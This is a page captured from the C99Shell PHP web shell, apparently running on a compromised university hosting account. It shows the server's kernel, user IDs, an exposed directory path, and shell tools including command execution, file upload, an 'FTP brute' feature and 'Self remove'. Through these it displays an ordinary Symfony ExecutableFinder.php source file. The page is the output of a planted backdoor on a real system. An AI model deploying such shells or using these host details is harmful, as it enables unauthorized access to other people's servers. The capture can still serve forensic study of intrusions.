!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/symfony/process/   drwxr-xr-x
Free 116.97 GB of 200.55 GB (58.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ExecutableFinder.php (2.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Process;

/**
 * Generic executable finder.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Johannes M. Schmitt <schmittjoh@gmail.com>
 */
class ExecutableFinder
{
    private 
$suffixes = array('.exe''.bat''.cmd''.com');

    
/**
     * Replaces default suffixes of executable.
     *
     * @param array $suffixes
     */
    
public function setSuffixes(array $suffixes)
    {
        
$this->suffixes $suffixes;
    }

    
/**
     * Adds new possible suffix to check for executable.
     *
     * @param string $suffix
     */
    
public function addSuffix($suffix)
    {
        
$this->suffixes[] = $suffix;
    }

    
/**
     * Finds an executable by name.
     *
     * @param string $name      The executable name (without the extension)
     * @param string $default   The default to return if no executable is found
     * @param array  $extraDirs Additional dirs to check into
     *
     * @return string The executable path or default value
     */
    
public function find($name$default null, array $extraDirs = array())
    {
        if (
ini_get('open_basedir')) {
            
$searchPath explode(PATH_SEPARATORini_get('open_basedir'));
            
$dirs = array();
            foreach (
$searchPath as $path) {
                
// Silencing against https://bugs.php.net/69240
                
if (@is_dir($path)) {
                    
$dirs[] = $path;
                } else {
                    if (
basename($path) == $name && is_executable($path)) {
                        return 
$path;
                    }
                }
            }
        } else {
            
$dirs array_merge(
                
explode(PATH_SEPARATORgetenv('PATH') ?: getenv('Path')),
                
$extraDirs
            
);
        }

        
$suffixes = array('');
        if (
'\\' === DIRECTORY_SEPARATOR) {
            
$pathExt getenv('PATHEXT');
            
$suffixes $pathExt explode(PATH_SEPARATOR$pathExt) : $this->suffixes;
        }
        foreach (
$suffixes as $suffix) {
            foreach (
$dirs as $dir) {
                if (
is_file($file $dir.DIRECTORY_SEPARATOR.$name.$suffix) && ('\\' === DIRECTORY_SEPARATOR || is_executable($file))) {
                    return 
$file;
                }
            }
        }

        return 
$default;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.037 ]--